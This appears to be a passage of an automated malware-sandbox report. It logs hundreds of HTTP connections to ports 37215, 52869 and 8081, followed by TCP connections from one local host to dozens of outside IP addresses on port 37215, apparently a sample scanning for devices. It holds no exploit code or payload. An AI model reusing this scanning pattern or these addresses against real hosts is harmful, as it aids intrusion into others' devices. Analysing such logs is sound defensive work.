Source: unknown	Network traffic detected: HTTP traffic on port 54592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38156 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46082 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58290 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54880 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60906 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53874 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47204 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38600 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52678 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59540 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52370 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40766 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52554 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37090 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42094 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37116 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58808 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53172 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46674 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59330 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51802 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33164 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55596 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41462 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36848 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59786 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48200 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34590 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48646 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38932 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47548 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57064 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38562 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42556 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42446 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33196 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46420 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42632 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46710 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45398 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49320 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60896 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35570 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40676 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37738 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58940 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42266 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47002 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38674 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41042 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37296 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54084 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46618 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40178 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60504 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45616 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35922 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58642 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45686 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47990 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55532 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39006 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40276 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52846 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54014 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41650 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42224 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43734 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55136 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50848 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60064 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36772 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42448 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42578 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57236 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47498 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53954 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38690 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43330 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57284 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53590 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45256 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37910 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40410 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57618 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55586 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34462 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 32992 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47906 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38634 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47514 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46142 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60478 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48858 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42060 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46422 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58502 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48766 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52796 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54092 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38786 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57468 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39414 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59664 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39460 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51758 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37816 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54870 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48182 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41428 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46486 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47828 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44964 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43458 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36584 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34512 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40874 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42448 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35850 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53858 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42816 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46580 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42578 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43702 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57236 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34844 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36464 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47498 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37774 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53954 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59068 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38690 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33992 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52268 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43330 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50948 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55418 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53590 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51240 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57284 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58682 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45256 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59874 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37910 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40410 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57618 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34462 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47514 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46142 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60478 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47906 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48858 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48766 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38786 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39414 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57468 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42060 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38634 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46422 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51758 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58502 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 32992 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55586 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54092 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52796 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59664 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48182 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39460 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54870 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37816 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44962 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44244 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46252 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58060 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37868 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41256 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57394 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51440 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55670 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58462 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35900 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56936 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39474 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55580 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60822 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46288 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58300 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46832 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51500 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39350 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38706 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33214 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 32888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41360 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42998 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40044 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51470 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36112 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51326 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52964 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57896 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42372 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49052 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37978 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53418 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36512 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33622 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40686 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40522 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44340 -> 37215

Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.113.132.47:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 75.245.37.135:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 76.125.10.46:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.180.228.252:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.135.100.3:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.114.206.140:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.35.130.251:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.217.24.18:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.48.64.8:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 216.15.194.11:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.130.106.175:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.109.80.153:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.109.172.235:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.101.180.53:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 166.129.166.145:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.238.194.50:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.135.228.141:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.29.91.154:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.18.206.159:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.135.74.226:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.74.96.150:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.169.40.175:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 34.182.233.76:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.130.29.61:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.245.216.156:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.91.175.126:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.105.219.240:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 49.55.180.63:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 163.110.119.229:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.127.217.236:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.43.242.43:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.204.120.208:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.197.53.118:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 62.146.200.25:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 103.246.101.15:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.52.85.28:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.17.105.247:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.253.112.25:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.36.183.119:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 140.235.15.87:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 107.103.239.103:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.12.49.40:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 14.49.13.245:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 173.213.209.100:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 169.37.171.79:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 34.108.209.169:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.197.182.48:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 83.35.196.3:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.5.164.72:37215
